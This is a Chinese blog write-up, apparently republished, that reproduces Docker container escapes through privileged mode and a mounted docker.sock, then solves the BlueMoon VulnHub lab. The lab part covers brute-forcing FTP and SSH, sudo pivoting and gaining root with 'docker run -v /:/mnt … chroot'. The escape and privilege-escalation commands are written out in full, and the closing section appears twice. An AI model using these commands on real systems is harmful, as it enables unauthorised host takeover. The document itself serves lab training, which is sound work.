从Docker挂载逃逸原理复现分析到BlueMoon实战

news2024/9/20 8:00:12

Docker逃逸

什么是Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的
Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。正因为docker属于沙箱机制,所以当获得docker容器的权限时与获得宿主机权限是两个概念。

Docker逃逸

配置不当引起的docker逃逸

docket remote api未授权访问导致逃逸

特权模式逃逸

挂载敏感目录

内核漏洞提权实现逃逸(针对Linux内核利于dirtycow、dirtypipe等)

Docker本身漏洞(CVE)

CVE-2019-5736

CVE-2019-14271

这里主要测试挂载卷造成的逃逸,

挂载敏感目录逃逸之特权模式挂载逃逸

实验环境:ubuntu16.04 ,docker 版本 20.10

image-20220330195714493.png

service docker status

image-20220330195801259.png

docker的状态是开启的,未安装docker需要安装。

特权模式下启动一个容器。

docker run -it --privileged ff6f /bin/bash

image-20220330195929458.png

查看docker容器磁盘文件。

fdisk -l

image-20220330200023942.png

正常环境安装的时候也都会创建磁盘文件,所以这些目录下会有很多文件。

ls /dev

image-20220330200309713.png

创建一个目录名为"test",名字任意创建。

mkdir test

此时test目录下无任何文件,将/dev/sda1挂载在test目录下。

mount /dev/sda1 /test

查询test目录。

image-20220330200654233.png

此时例如home等目录下是没有任何文件的。

image-20220330200828481.png

amazing写入/test/home/1.txt

echo “amazing” >/test/home/1.txt

此时宿主机home,目录下是存在1.txt文件的。

image-20220330201310772.png

挂载敏感目录逃逸之docker.sock 挂载

Docker架构相当于C/S架构,docker.sock就是docker中套docker,docker的client和server的通信模式参考。

https://www.jb51.net/article/99019.htm

因为确实找不到什么比较官方或者正式的介绍,华为云的介绍只是介绍了网络通信模式。

socket的连接方式有三种

unix:///var/run/docker.sock  
tcp://host:port  
fd://socketfd

利用docker.sock逃逸的前提条件

  • 攻击者获得了 docker 容器的访问权限

  • 容器已安装/var/run/docker.sock

使用挂载实现docker.sock,拉取一个镜像ubuntu16.04

docker pull ubuntu:16.04

image-20220330221646544.png

查看镜像

docker images

image-20220330221737120.png

运行一个挂载/var/run/的容器

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock
ubuntu:16.04 /bin/bash

进入docker容器内

apt-get install docker.io

这个时候安装可能报错

image-20220330221950971.png

更新源

apt update

image-20220330222036687.png

更新源之后重新安装docker,因为拉取的ubuntu内未安装docker或者可能是docker版本过老。

apt-get install docker.io

image-20220330222429880.png

查看宿主机信息。

docker -H unix://var/run/docker.sock info

image-20220330222832939.png

利用docker.sock再创建一个docker容器,挂载/var/run

docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04
/bin/bash

image-20220330222948236.png

此时查看test目录下可看到宿主机文件文件。

image-20220330223102070.png

实现逃逸。这里本来打算使用alpine镜像,这里说说什么是alpine镜像。

alpine(https://www.alpinelinux.org/)是一个官方推荐的基础镜像,大小5MB,相对于ubuntu的大小来说下载方便,但是拉取ubuntu镜像也比较方便。

但是alpine在更新apk的时候,比较慢。

image-20220330224040897.png

所以还是建议使用ubuntu,这里可以利用docker逃逸去复制宿主机的source.list更换源,可能会快一点。

原理

过程可分为两部分

文件写入

将数据写入文件,它可用于执行特权写入或在受限文件系统之外写入文件,通过将文件复制到临时容器并返回到主机上的目标位置来写入文件。

CONTAINER_ID="$(docker run -d alpine)" # or existing  
TF=$(mktemp)  
echo "DATA" > $TF  
docker cp $TF $CONTAINER_ID:$TF  
docker cp $CONTAINER_ID:$TF file_to_write

文件读取

它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件,通过将文件复制到临时容器并返回到主机上的新位置来读取文件。

CONTAINER_ID="$(docker run -d alpine)"  # or existing  
TF=$(mktemp)  
docker cp file_to_read $CONTAINER_ID:$TF  
docker cp $CONTAINER_ID:$TF $TF  
cat $TF

二进制文件设置了 SUID 位,会被滥用来访问文件系统、升级或维护特权访问作为 SUID 后门,上面那个复现过程实现了创建二进制文件的本地 SUID
副本并运行它以维护提升的权限,要与现有的 SUID
二进制文件交互,请跳过第一个命令并使用其原始路径运行程序,其最终结果是在容器B中实现了对宿主机权限的控制。

BlueMoon简介

  • Name : BlueMoon: 2021

  • Date release : 7 Apr 2021

  • Author : Kirthik

  • Series : BlueMoon

环境搭建

攻击机kali

IP192.168.158.39

目标靶机Debian,ip地址未知,dhcp自动获取

下载地址

https://download.vulnhub.com/bluemoon/bluemoon.ova

导入虚拟机,官网描述是使用vb,但是vmware可以导入,然而出现问题获取不到网卡

image-20220329111228640.png

信息搜集

netdiscover -n 192.168.248.39/24

image-20220329144101188.png

我使用搞得热点比较容易确定目标靶机,扫描端口

nmap -A -p- 192.168.158.250

image-20220329144239633.png

开放三个端口21,22以及80

image-20220329144006550.png

扫描目录,指纹识别,既然是靶场要考虑到21端口是不是匿名用户或者22和21端口是否能爆破,直接对21和22端口爆破并未有结果,也可能是字典的问题,但是换了几个字典确实没用,扫描目录使用dirsearch扫描目录,内置字典并不能扫描出结果,换字典。

python3 dirsearch.py -u “http://192.168.158.250”
-e *

image-20220329150711058.png

image-20220329150725960.png

访问是个二维码,扫描的内容。

#!/bin/bash HOST=ip USER=userftp PASSWORD=ftpp@ssword ftp -inv $HOST user
$USER $PASSWORD bye EOF

获取flag

ftp的账号密码

userftp/ftpp@ssword

工具连接或者命令行都可

image-20220329151036922.png

image-20220329151338244.png

information.txt中告诉了,p_list.txt为密码字典,用户名为robin,

image-20220329151425938.png

上级目录中有jerry中有个用户名的txt,但是无法查看文件,使用robin用户爆破

image-20220329155821125.png

账号密码

robin/k4rv3ndh4nh4ck3r

ssh登录

ssh robin@192.168.158.250

ls

cat user1.txt

image-20220329160010391.png

使用命令

sudo -l

image-20220329160548808.png

告诉了jerry权限可以执行/home/robin/project/feedback.sh

横向提权

sudo -u jerry /home/robin/project/feedback.sh

jerry

/bin/sh

image-20220329160839861.png

当前用户为jerry,这个时候我们就可以读取前面不能读取的user2.txt,因为这个时候在home/robin,所以切换用户目录读取或者直接读取文件。

image-20220329161056383.png

垂直提权

给出提示使用find继续提权到root,所以这里应该的考点就是suid提权了,因为不是交互式的shell使用起来不方便,所以使用python获取交互式shell。

python -c ‘import pty;pty.spawn(“/bin/bash”)’

image-20220329161530154.png

查询是否有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

image-20220329161656321.png

find /usr/bin/passwd -exec “/bin/sh” ;

image-20220329162426360.png

无果,,,,纳闷儿了

docker images

docker ps

image-20220329163015078.png

镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20220329163552186.png

此时已经为root权限,读取根目录下的root.txt

image-20220329163645322.png

结语

这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。

docker ps

[外链图片转存中…(img-bkFie1Xk-1676874417598)]

镜像没起起来,搜索一下才知道这里需要使用镜像挂载来进行提权。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

[外链图片转存中…(img-tqhLld10-1676874417598)]

此时已经为root权限,读取根目录下的root.txt

[外链图片转存中…(img-1K0FO2Qx-1676874417598)]

结语

这个靶机有点儿不怎么有好的地方在于对于字典的要求比较高,难点在于使用镜像挂载提权,这里可参考文章应该是讲镜像挂载原理比较清晰的文章吧。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/358294.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Elasticsearch:在满意度调查中实现并使用情绪分析器

如果你通过博客或新闻关注 Elastic,你已经知道在最新版本的 Elasticsearch 中已经提供了用于自然语言处理 (NLP) 的资源。事实上,在我之前的博客文章中,我已经推出了很多关于 NLP 的博文。请详细阅读 “Elastic:开发者上手指南” …

【Linux 多线程同步】使用同步和互斥实现生产消费模型

目录 1.同步的接口 2.多线程但是按顺序来执行 3.生产消费模型 4.使用互斥加同步实现生产消费模型 (采用环形队列) 同步:在保证数据安全的前提下,让线程能够按照某种特定的顺序访问临界资源,从而有效避免饥饿问题 …

GraphTrip论文笔记【Information Fusion 92 (2023)】

Dual-grained human mobility learning for location-aware trip recommendation with spatial–temporal graph knowledge fusion 期刊:EI检索 Information Fusion 92 (2023) Challenges (1)异质交互信息的挖掘 POI位置信息、POI类别信息…

重新标记ImageNet:从全局标签到局部标签(附github代码及论文)

欢迎关注“计算机视觉研究院”计算机视觉研究院专栏作者:Edison_GImageNet可以说是最受欢迎的图像分类基准,但它也是一个具有显著噪声的标签。最近的研究表明,许多样本包含多个类,尽管被假定为单个标签基准。因此,他们…

【办公类-18-02】Python VScode 制作“照片整理.py”的exe文件(打包系列)

效果展示:背景需求:最近一年我都是机动班(非固定班主任),所以拍的照片不多,只需要每月把手机里的照片用QQ的“我的文件助手”导出来,然后打开VScode,找到“20211020按日期批量整理文…

独居老人一键式报警器

盾王居家养老一键式报警系统,居家养老一键式报警设备 ,一键通紧急呼救设备,一键通紧急呼救系统,一键通紧急呼救器 ,一键通紧急呼救终端,一键通紧急呼救主机终端产品简介: 老人呼叫系统主要应用于…

java网络编程-nio学习:阻塞和非阻塞

一、阻塞 阻塞模式下,相关方法都会导致线程暂停 ServerSocketChannel.accept 会在没有连接建立时让线程暂停 SocketChannel.read 会在没有数据可读时让线程暂停 阻塞的表现其实就是线程暂停了,暂停期间不会占用 cpu,但线程相当于闲置 单线…

Learning C++ No.11【string类实现】

引言: 北京时间:2023/2/19/8:48,昨天更新了有关进程状态的博客,然后在休息的时候,打开了腾讯视屏,然后看到了了一个电视剧,导致上头,从晚上6点看到了10点,把我宝贵的博客…

vue(5)

文章目录1. 监测数据原理1.1 通过问题引出1.2 开始1.3 Vue.set() 方法1.4 vue 监视 数组1.5 小练习2. 收集表数据3. 过滤器4. 内置指令4.1 v-text4.2 v-html4.3 v-cloak4.4 v-once4.5 v-pre1. 监测数据原理 1.1 通过问题引出 1.2 开始 要想解决上面的这个问题 ,需要…

python基于django幼儿园管理系统

目录 1 绪论 1 1.1课题背景 1 1.2课题研究现状 1 1.3初步设计方法与实施方案 2 1.4本文研究内容 2 2 系统开发环境 4 2.1 JAVA简介 4 2.2MyEclipse环境配置 4 2.3 B/S结构简介 4 2.4MySQL数据库 5 2.5 SPRINGBOOT框架 5 3 系统分析 6 3.1系统可行性分析 6 3.1.1经济可行性 6 3…

【2022.12.9】Lammps+Python 在计算g6(r)时遇到的问题

目录写在前面绘制g6( r )执行步骤【updated】如何检查图像的正确性:不是编程问题,而是数学问题的一个小bug废稿2则:写在前面 全部log: 【2022.11.16】LammpsPythonMATLAB在绘制维诺图时遇到的问题 绘制g6( r )执行步骤【updated…

Eureka原理浅析

文章目录1.简介2.组件2.1 Eureka Server2.1.1 主要功能2.1.2 自我保护机制2.1.3 数据同步方式2.1.4 Server的多级缓存和Client实例过期策略2.2 Eureka Client3.补充3.1 CAP偏重点3.2 功能扩展性3.3 工作流程1.简介 Eureka是Netflix开发的服务发现框架,本身是基于RE…

SegNeXt: 重新思考基于卷积注意力的语义分割

论文信息 论文名称:SegNeXt: Rethinking Convolutional Attention Design for Semantic Segmentation 项目GitHub: GitHub - Visual-Attention-Network/SegNeXt: Official Pytorch implementations for "SegNeXt: Rethinking Convolutional Atten…

ESP-C3入门11. 创建最基本的HTTP请求

ESP-C3入门11. 创建最基本的HTTP请求一、menuconfig配置二、配置 CMakeLists1. 设置项目的额外组件目录2. 设置头文件搜索目录三、在 ESP32 上执行 HTTP 请求的基本步骤1. 创建 TCP 连接2. 设置 HTTP 请求3. 发送 HTTP 请求4. 接收 HTTP 响应5. 处理 HTTP 响应6. 关闭 TCP 连接…

35岁以上的大龄测试员们,后来都干什么去了?

为什么软件测试行业看不见白发苍苍的软件测试员?大龄测试员都去哪里了?各个公司会辞退大龄测试员吗? 如果一位 50 多岁的测试员申请 20 多岁或 30 多岁的职位,有多少公司会雇用他们呢?关于这个问题,有很多流言传说,也有一些残酷的现实。…

努力优化和改造不好的环境,去设计新的、积极的、适合自己的环境

你知道环境对你的影响有多大吗?自己的的社交圈也是一个环境如果你待在一个只知道吃喝玩乐,不思进取,天天玩手机、打游戏的圈子里那你很大程度也会被影响,因为你不跟他们一起你就融入不进去,就会被孤立,很多…

优秀蓝牙耳机推荐,热销不错的四款蓝牙耳机推荐

蓝牙耳机作为目前最流行的数码产品,受到很多人追捧,蓝牙耳机摆脱了有线蓝牙耳机的束缚,能够更好听歌打游戏,随时取用,更为便利,当然,随着耳机的大幅度创新,也导致很多人在选购耳机的…

内网渗透(四十三)之横向移动篇-SMB远程执行命令横向移动

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…

前端性能优化的一些技巧(90% chatGpt生成)

终于弄好了chatGpt的账号,赶紧来体验一波。先来一波结论,这篇文章的主要内容来源,90%是用chatGpt生成的。先上chatGpt的生成的结果:作为一名懒惰的程序员,chatGpt会帮助我变得更懒...,好了下面开始文章的正…

GEE学习笔记 六十八:【GEE之Python版教程二】配置Python开发环境

这一篇内容主要讲解两部分内容,第一部分是本地python开发环境的配置,第二部分是GEE的python开发环境配置。我这里做的所有的操作都是在我的Mac电脑上做的,Windows上操作类似,如果有不清楚的可以自行搜索相关操作步骤。 第一部分&…